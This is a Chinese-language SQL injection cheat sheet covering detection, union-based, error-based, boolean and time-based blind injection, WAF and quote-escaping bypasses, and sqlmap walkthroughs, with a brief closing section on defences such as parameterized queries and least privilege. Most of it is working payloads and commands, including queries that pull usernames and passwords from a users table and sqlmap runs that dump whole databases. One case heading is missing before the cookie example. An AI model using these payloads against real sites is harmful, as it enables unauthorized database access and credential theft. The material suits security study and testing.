SQL 注入漏洞详解

漏洞概述

SQL 注入是最常见的 Web 漏洞之一,攻击者通过在输入中注入恶意 SQL 语句,操纵后端数据库查询。

OWASP Top 10: A03:2021
危害等级: ⭐⭐⭐⭐⭐


漏洞检测

手工检测

# 基础测试
' or '1'='1
" or "1"="1
' or 1=1--
' or 1=1#
') or ('1'='1

# 报错测试
' and extractvalue(rand(),concat(0x7e,version()))--
' and updatexml(1,concat(0x7e,version()),1)--

# 时间盲注测试
' and sleep(5)--
" and sleep(5)--
' and benchmark(10000000,MD5('a'))--

工具检测

# SQLMap 检测
sqlmap -u "http://target.com/page?id=1" --batch
sqlmap -u "http://target.com/page" --data="id=1" --batch

# 自动识别注入点
sqlmap -u "http://target.com/page?id=1" --dbs

注入类型

1. 联合查询注入 (Union Based)

# 判断字段数
?id=1' order by 3--
?id=1' order by 4--  # 报错,说明字段数是 3

# 爆数据库
?id=-1' union select 1,database(),3--

# 爆表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--

# 爆列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--

# 爆数据
?id=-1' union select 1,group_concat(username,':',password),3 from users--

2. 报错注入 (Error Based)

# floor 报错
' and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)--

# extractvalue 报错
' and extractvalue(rand(),concat(0x7e,(select database())))--

# updatexml 报错
' and updatexml(1,concat(0x7e,(select database())),1)--

3. 布尔盲注 (Boolean Based)

# 判断数据库名长度
' and length(database())=8--

# 逐字符爆破
' and ascii(substr(database(),1,1))=115--  # s
' and ascii(substr(database(),2,1))=101--  # e
' and ascii(substr(database(),3,1))=99--   # c

4. 时间盲注 (Time Based)

# MySQL
' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--

# PostgreSQL
'; select pg_sleep(5)--

# MSSQL
'; waitfor delay '0:0:5'--

# Oracle
'; BEGIN DBMS_LOCK.SLEEP(5); END;--

绕过技巧

WAF 绕过

# 大小写混合
UNION SELECT -> UnIoN SeLeCt

# 双写绕过
UNION -> UNIUNIONON
SELECT -> SELSELECTECT

# 编码绕过
空格 -> %09 %0A %0C %0D
= -> %3D
' -> %27

# 注释绕过
空格 -> /**/
' and 1=1-- -> 'and/**/1=1--

# 内联注释
' /*!UNION*/ /*!SELECT*/ 1,2,3--

引号绕过

# 宽字节注入
%df' -> 運' (吃掉转义符)

# 十六进制编码
'admin' -> 0x61646d696e

实战案例

案例 1: GET 参数注入

# 检测
sqlmap -u "http://target.com/news.php?id=1" --batch

# 获取数据库
sqlmap -u "http://target.com/news.php?id=1" --dbs --batch

# 获取表
sqlmap -u "http://target.com/news.php?id=1" -D database --tables --batch

# 获取数据
sqlmap -u "http://target.com/news.php?id=1" -D database -T users --dump --batch

案例 2: POST 参数注入

# 检测
sqlmap -u "http://target.com/login" --data="username=admin&password=123" --batch

# 获取数据
sqlmap -u "http://target.com/login" --data="username=admin&password=123" -D database --dump --batch
# 检测 Cookie
sqlmap -u "http://target.com/" --cookie="PHPSESSID=abc123" --batch

# 获取数据
sqlmap -u "http://target.com/" --cookie="PHPSESSID=abc123" -D database --dump --batch

案例 4: HTTP 头注入

# User-Agent 注入
sqlmap -u "http://target.com/" --user-agent="Mozilla/5.0" --batch

# Referer 注入
sqlmap -u "http://target.com/" --referer="http://google.com" --batch

防御建议

  1. 使用参数化查询 (预编译)

    // Java
    PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
    pstmt.setInt(1, id);
  2. 使用 ORM 框架

    # Python SQLAlchemy
    user = session.query(User).filter_by(id=user_id).first()
  3. 输入验证

    // PHP
    $id = intval($_GET['id']);
  4. 最小权限原则

    -- 数据库用户权限限制
    GRANT SELECT ON database.* TO 'webapp'@'localhost';
  5. WAF 防护

    • 部署 Web 应用防火墙
    • 配置 SQL 注入规则

参考链接